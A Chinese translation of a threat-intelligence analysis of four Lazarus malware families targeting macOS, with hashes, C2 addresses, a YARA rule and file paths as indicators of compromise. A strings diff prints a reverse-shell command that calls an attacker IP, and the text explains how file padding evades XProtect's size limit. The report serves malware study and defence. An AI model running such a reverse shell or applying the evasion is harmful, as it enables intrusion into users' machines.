概述

今年年初,卡巴斯基实验室报告了一起新的攻击活动--Applejeus,此次攻击来源于朝鲜支持的APT组织Lazarus。Lazarus在2018年被首次披露,并被认为是目前最活跃的APT组织。从今年一月以来,陆续有相关报告披露了一种macOS平台的RAT木马(DaclsRAT),溯源后发现它来自于Lazarus的跨平台工具集(MATA框架)。在今年五月末的时候,SentinelOne发现三种不同的macOS恶意软件家族,判断很可能来自于Lazarus,并且至今尚未有相关报告。本文将对这四种macOS恶意软件家族进行介绍,并详细描述其变种和演变过程。

一、木马化的一次性密码app

由于第一种恶意软件家族(DaclsRAT)此前已被详细披露,因此这部分内容只总结一些主要的发现进行补充说明。

DaclsRAT于今年4月8日在VirusTotal上被首次披露,它伪装为一次性密码应用程序(TinkaOTP)进行传播,并且内嵌了开源软件MinaOTP的副本,以掩盖其恶意行为。

DaclsRAT使用Swift编写,首次发现的样本是在macOS 10.15.3 (19D76) 上编译的,第二代版本是在macOS 10.15.4 (19E266)上编译而成。由此可以看出恶意软件作者一直保持更新。

在此前的报告中,TinkaOTP木马有两个变种版本。第一个版本是影响最大的,攻击载荷位于应用程序包的资源文件夹下。该文件实际是一个Mach-O可执行文件,伪装为.nib文件,文件路径为“../Resources/Base.lproj/Submenu.nib”。程序执行时,该文件被直接复制到用户的Library文件夹下,并重命名为.mina(“.”前缀是为了隐藏文件,使得用户不可见)。然后利用用户LaunchAgent(路径为~/Library/LaunchAgents/com.aex-loop.agent.plist)执行攻击载荷。

第二个变种版本没有直接携带攻击载荷,而是从C2服务器上进行下载,然后存储到与之前相同的位置。C2服务器的地址存储在TinkaOTP的可执行文件中,下载和执行部分的代码使用硬编码的方式,因此可以从二进制文件中直接看到明文字符串,如下图所示:

攻击载荷.mina包含大量的UTF-16字符串,暗示C2地址和攻击行为。

    67.43.239.146:443185.62.58.207:443plugin_fileplugin_process/bin/bashplugin_reverse_p2plogsendplugin_socks

    攻击载荷的main函数十分简单,LaunchAgent和LaunchAgent的路径和内容都采用了硬编码的方式以实现持久性。

    DaclsRAT的最新报告于上周发布,研究人员认为DaclsRAT中的恶意文件实际上是一个大型攻击工具集“MATA”的一部分。以上便是目前关于DaclsRAT公开的报告信息。

    二、新型木马化的加密交易app

    第二种Lazarus恶意软件家族出现在最近几个月内,可能是由于其攻击针对性强且未被受害者发现,因此目前尚未有研究人员进行分析报导。

    AppleJeus开始于2018年,它对加密货币相关的app进行木马化。从今年发现的两款app--“CoinGoTrade”和“Cryptoistic”中不难看出,攻击活动已经取得了一定的成果。

    早在6月3日时,安全人员@ccxsaber在twitter上提醒公众注意CoinGoTrade。攻击者创建域名”coingotrade.com“,吸引受害者下载虚假的加密货币app。虽然无法获得app包,但是通过在VirusTotal上的查询,发现包含两个恶意的Mach-O可执行文件:

      326d7836d580c08cf4b5e587434f6e5011ebf2284bbf3e7c083a8f41dac36ddd4f9d2087fadbf7a321a4fbd8d6770a7ace0e4366949b4cfc8cbeb1e9427c02da

      这两个样本均由Objective-C编写,并且除了一行以外完全相同,下面是diff显示的结果:

        diff -y <(otool -tv 326d7836d580c08cf4b5e587434f6e5011ebf2284bbf3e7c083a8f41dac36ddd) <(otool -tv 4f9d2087fadbf7a321a4fbd8d6770a7ace0e4366949b4cfc8cbeb1e9427c02da)->0000000100001adc movl $0x4c4b40, %edi | 0000000100001adc movl $0x1, %edi

        ‍其中硬编码值0x4c4b40是传递到usleep函数的参数,等于5s(5000000微秒)。鉴于两个样本直接的代码没有其他更改,可以认为第二个样本很可能是第一个样本的更正版。usleep()函数会使代码执行暂停很短的时间,因此作者可能认为对usleep的调用是多余的。

        程序运行后,该样本将调用以下URL:

          https://coingotrade.com/update_coingotrade.php

          然后将下列数据发送到服务器:

          虽然coingotrade样本的攻击载荷无法获得,但是可以在第二个木马化的加密交易app(Cryptoistic)中发现其行为。Cryptoistic在2020年5月早期出现在VirusTotal上,不同于CoinGoTrade,它是用Swift编写的,但是其中包含大量桥接到Objective C的代码,这表明开发人员十分熟悉旧的编程语言。

          Cryptoistic在4月2日被首次编译,与TinkaOTP的第二版本编译时间仅相隔一天,但是Cryptoistic是在老版的macOS 10.15.2 (19C57)上编译而成的。苹果的19C57释出版在几个月前就已经被取代,至少可以看出开发者的机器并没有保持更新。

          Cryptoistic的目的是吸引用户创建账户,通过该账户管理多个合法平台的账号,例如 kraken.com, huobi.por, 和 binance.com。

          该应用的下载链接为"http://applepkg.com/product/new/iContact.pkg",尽管下载链接显示的文件为iContact.pkg,但实际下载的文件却为Mach-O类型的攻击载荷,下载完成后被存储为/tmp/.signal_tmp。

          下载的iContact文件是一个后门文件,用于收集用户数据和本地数据,并且通过TCP与C2服务器进行加密通信,其功能主要包括文件的上传下载以及命令执行。

          三、后门文件OSX.Casso

          在TinkaOTP、CoinGoTrade和Cryptoistic流传的同时,一系列的轻量级后门二进制文件也开始传播,这些后门文件主要由Objective-C和C语言编写,并大量使用C标准库。为方便起见,将这类后门统称为OSX.Casso。

          “osxari”是这类后门文件中第一个出现在VirusTotal上的,日期为6月1日。下面是“osxari”的hash:

            3c2f7b8a167433c95aa919da9216f0624032ac9ed9dec71c3c56cacfd5cd1837

            此后接连出现的变种:

              e63640c53204a59ba59f2c310964149ca3616d79adc40a6c3abd5bf66951175665cc7663fa5c5665ad5d9c6bec2b6257612f9f0c0ce7e4399e6dc8b464ea88c0035089b4ef4a981f43455ebee7963af9e7502170ca206458f96be668b1e3674a

              最后出现的变种样本是:

                2dd57d67e486d6855df8235c15c9657f39e488ff5275d0ce0fcec7fc8566c64

                该样本名称为“cassoosx”,因此将此类恶意样本统称为OSX.Casso。

                对这些样本的符号表差异进行对比,发现绝大多数样本几乎都是相同的,并且几乎都会调用libcurl.4.dylib,因此将这些样本划归为一类。

                下面对第一个样本和最近出现的OSX.Casso样本的内置字符串进行了差异对比:

                  diff -y <(floss -s osxari) <(floss -s cassoosx) > bash -i > /dev/tcp/160.20.147.253/84430<&12>&1_webident_f | _media_1_webident_s | _media_2https://fudcitydelivers.com/net.php | https://lastedforcast.com/list.phphttps://fudcitydelivers.com/net.php | https://lastedforcast.com/list.phphttps://sctemarkets.com/net.php | https://audiopodcasts.co/verify.phpxdns | darwin >@_printf

                  ‍除了“cassoosx”含有反向shell和不同的C2域名之外,其余的样本几乎都是相同的,并且样本大小均在32kb左右。而“ cassoosx”填充了几兆字节的printf调用,很可能会超过指定最大文件大小的YARA规则,例如在Apple静态签名扫描仪XProtect中看到的规则。

                  下面是针对OSX.Casso的XProtect YARA 规则:

                    rule XProtect_MACOS_b17a97e{meta:description ="MACOS.b17a97e"strings:$s1 = { 89 C1 C1 E9 07 48 69 C9 11 08 04 02 48 C1 E9 20 69 C9 80 3F 00 00 F7 D9 }condition:Macho and filesize < 100KB and all of them}

                    尽管图中规则的$s1条件将对cassoosx样本生效,但是由于cassoosx大小超过了100kb,检测仍然会失败。

                    OSX.Casso样本的变化可以从User-Agent字符串以及chrome版本中看出。osxari的User-Agent如下:

                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36

                      后续所有样本的Chrome均更新到了83,并且User-Agent均为:

                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36

                        osxari后门本身是Lazarus早期可执行程序“Flash Player”的一个变种,可以从这两个样本中发现很多相同的基础方法以及对libcurl的调用,但是osxari的代码中也新增了一些内容。下图中左侧是Flash Player,右侧是osxari:

                        在osxari以后,所有的OSX.Casso样本均含有反向shell,并且均去除了硬编码的LaunchAgent或LaunchDaemon。

                        四、WatchCat和MediaRemote

                        就在上周,APT组织Lazarus的另一种Mach-O可执行样本被披露,并且与上面介绍的三种存在显著差异。

                        XProtect新增了两种规则用于识别该类样本,分别是macOS和Safari的User-Agent字符串:

                          Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15

                          这两条规则也指定了两个字符串,分别是“MediaRemote.app”和“com.apple.watchcat.plist”。

                          截止现在,仅在VirusTotal上发现了一个样本:

                            3bb96bfaf492782b38985f4bd6b7e7f9dc22c1332b42bb74b16041298fd31f93

                            在过去的14天里,随着基于签名的解决方案的出现,检测量迅速增加:

                            尽管这类样本与之前出现的后门样本存在许多相似之处,比如都调用了"/usr/lib/libcurl.4.dylib",含有硬编码的LaunchDaemon,但是该恶意样本还有很多不同于以往样本的新特征,比如使用WebShell和载入crc32表解密配置文件等。

                            该样本符号表中含有Lazarus早期活动中经常出现的信息,_MsgTroyInfo:

                            目前针对watchcat样本的分析仍然在进行,并且尚未看到感染活动,但是从以上所有样本的发展与迭代活动中不难看出,攻击者目前对macOS平台的攻击活动投入了大量精力和资金。

                            总结

                            以上介绍的所有样本都是在过去的八到十周内出现,并且紧随macOS平台保持更新,这表明Lazarus组织使用各种技术手段开展了多个攻击活动。这不仅仅是简单的将Windows恶意软件迁移到macOS平台,而是将大量资金投入到Mac的开发人员,研发针对Apple平台的定制恶意软件。回顾这些恶意样本,可以发现这些恶意软件似乎目的是窃取加密货币并在目标设备上设置后门,但是显然这些攻击活动还包含更多的信息。

                            附录:相关IOC

                              1.相关样本899e66ede95686a06394f707dd09b7c29af68f95d22136f0a023bfd01390ad53TinkaOTP.dmg326d7836d580c08cf4b5e587434f6e5011ebf2284bbf3e7c083a8f41dac36dddCoinGoTradeUpgradeDaemon4f9d2087fadbf7a321a4fbd8d6770a7ace0e4366949b4cfc8cbeb1e9427c02daCoinGoTradeUpgradeDaemona61ecbe8a5372c85dcf5d077487f09d01e144128243793d2b97012440dcf106eCryptoistic Mach-O8783f6755fd3d478fc58040da03d056f9cad12f199ec4dcd90632c6804e0e643Cryptoistic.dmgd91c233b2f1177357387c29d92bd3f29fab7b90760e59a893a0f447ef2cb4715Album.app.zip735365ef9aa6cca946cfef9a4b85f68e7f9f03011da0cf5f5ab517a381e40d02Flash Player3c2f7b8a167433c95aa919da9216f0624032ac9ed9dec71c3c56cacfd5cd1837OSX.Casso (osxari)e63640c53204a59ba59f2c310964149ca3616d79adc40a6c3abd5bf669511756OSX.Casso65cc7663fa5c5665ad5d9c6bec2b6257612f9f0c0ce7e4399e6dc8b464ea88c0OSX.Casso035089b4ef4a981f43455ebee7963af9e7502170ca206458f96be668b1e3674aOSX.Casso (packed)85d7379b7b82d6b7868f64203a444a5098c72ed7ccff6d1dbb536389a5be5a9cOSX.Casso2dd57d67e486d6855df8235c15c9657f39e488ff5275d0ce0fcec7fc8566c64bOSX.Casso (cassoosx)90ea1c7806e2d638f4a942b36a533a1da61adedd05a6d80ea1e09527cf2d839bCasso.exe3bb96bfaf492782b38985f4bd6b7e7f9dc22c1332b42bb74b16041298fd31f93watchcat36683ce8ec4ab6c07330930b523ee0d68b2b410f654a30c70250da890cfbf3c9iContact

                              2.C2服务器地址67[.]43.239.146:443185[.]62.58.207:443160[.]20.147.253:8443

                              3.相关URL链接hxxps[:]//fudcitydelivers[.]comhxxps[:]//sctemarkets[.]comhxxps[:]//lastedforcast[.]comhxxps[:]//audiopodcasts[.]cohxxps[:]//loneeaglerecords[.]com/wp-content/uploads/2020/01/images.tgz.001hxxp[:]//applepkg[.]com/product/new/iContact.pkg

                              4.相关文件路径/tmp/.signal_tmp/private/tmp/updatecoingotrade/Library/ApplicationSupport/CoinGoTradeService/CoinGoTradeUpgradeDaemon

                              原文标题:Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform

                              原文链接:https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

                              本文为CNTIC编译,不代表本公众号观点

                              声明:本文来自国家网络威胁情报共享开放平台,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。